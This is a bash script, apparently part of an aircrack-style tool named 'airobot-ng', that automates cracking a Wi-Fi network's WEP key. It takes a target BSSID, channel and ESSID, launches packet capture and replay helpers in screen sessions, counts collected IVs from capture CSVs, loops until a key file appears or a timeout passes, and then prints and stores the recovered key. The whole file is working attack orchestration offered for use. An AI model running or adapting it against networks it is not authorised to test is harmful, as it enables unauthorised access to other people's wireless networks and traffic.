#! /usr/bin/env bash

interface=$1
channel=$2
bssid=$3
essid=$4
ratio=$5
quota=$6
timeout=$7

if [[ ( -z "$interface" ) || ( -z "$channel" ) || ( -z "$bssid" ) ]]
then
	echo Usage: $(basename $0) interface channel bssid [essid] [ratio] [quota] [timeout]
	exit
fi

if [ -z "$ratio" ]
then
	ratio=0
fi

if [ -z "$quota" ]
then
	quota=1
fi

if [ -z "$timeout" ]
then
	timeout=604800
fi

cd "$(dirname "$0")"
cd ..

echo $(date +"%Y-%m-%d %H:%M:%S") Attacking BSSID $bssid channel $channel ESSID \"$essid\"

identifier=$(echo $bssid | tr '[A-Z]' '[a-z]' | tr --delete ':')
if [ -n "$essid" ]
then
	identifier=$identifier-$(echo $essid | tr '[A-Z]' '[a-z]' | tr --complement --delete '[a-z0-9]')
fi

screen -S capture.airobot-ng -d -m screen/capture.sh $interface $channel $bssid "$essid"
screen -S replay.airobot-ng -d -m screen/replay.sh $interface $bssid "$essid"

initial=0
if ls capture/$identifier/????-??-??-??-??-??-??.csv &> /dev/null
then
	previous=0
	list=$(ls -1 capture/$identifier/????-??-??-??-??-??-??.csv)
	while read file
	do
		batch=$(cat $file | head --lines 3 | tail --lines 1 | cut -d ',' -f 11 | tr --complement --delete '[0-9]')
		if [ -n "$batch" ]
		then
			if [ 99 -lt $batch ]
			then
				echo $(date +"%Y-%m-%d %H:%M:%S") Analyzed capture $(basename $file | sed 's/^\([0-9]\{4\}-[0-9]\{2\}-[0-9]\{2\}\)-\([0-9]\{2\}\)-\([0-9]\{2\}\)-\([0-9]\{2\}\)-\([0-9]\{2\}\)\.csv$/\1 \2:\3:\4 \5/') found $batch IVs
			fi
			initial=$(($initial + $batch))
			previous=$(($previous + 1))
		fi
	done <<< "$list"

	if [ 0 -lt $initial ]
	then
		echo $(date +"%Y-%m-%d %H:%M:%S") Found $initial IVs in $previous capture
	fi
fi

echo $(date +"%Y-%m-%d %H:%M:%S") Allocating ratio $ratio quota $quota timeout $timeout
sleep 5

key=capture/$identifier/key.txt
previous=0
time=5
expiration=$(($time + $timeout))

while [ ! -f $key ]
do
	current=$previous

	if ls capture/$identifier/????-??-??-??-??-??-??.csv &> /dev/null
	then
		file=$(ls -1 -v --reverse capture/$identifier/????-??-??-??-??-??-??.csv | head --lines 1)
		current=$(cat $file | head --lines 3 | tail --lines 1 | cut -d ',' -f 11 | tr --complement --delete '[0-9]')

		if [ -z "$current" ]
		then
			current=$previous
		fi
	fi

	delta=$(($current - $previous))
	if [ 0 -lt $delta ]
	then
		expiration=$(($time + $timeout))
	fi

	if [ 0 == $initial ]
	then
		echo $(date +"%Y-%m-%d %H:%M:%S") Captured $delta IVs $current total
	else
		echo $(date +"%Y-%m-%d %H:%M:%S") Captured $delta IVs $current batch $(($current + $initial)) total
	fi
	previous=$current

	expected=$((($time * $ratio) - $quota))
	if [[ ( $expected -lt $current ) && ( $time -lt $expiration )]]
	then
		sleep 10
		time=$(($time + 10))
	else
		break
	fi
done

./script/kill.sh screen/replay.pid
./script/kill.sh screen/capture.pid

if [ -f $key ]
then
	echo $(date +"%Y-%m-%d %H:%M:%S") Found key \"$(cat $key)\"

	if [ -n "$essid" ]
	then
		identifier=$(echo $bssid | tr '[A-Z]' '[a-z]' | tr --delete ':')
		if [ -d capture/$identifier ]
		then
			cat $key >> capture/$identifier/key.txt
		fi
	fi
fi

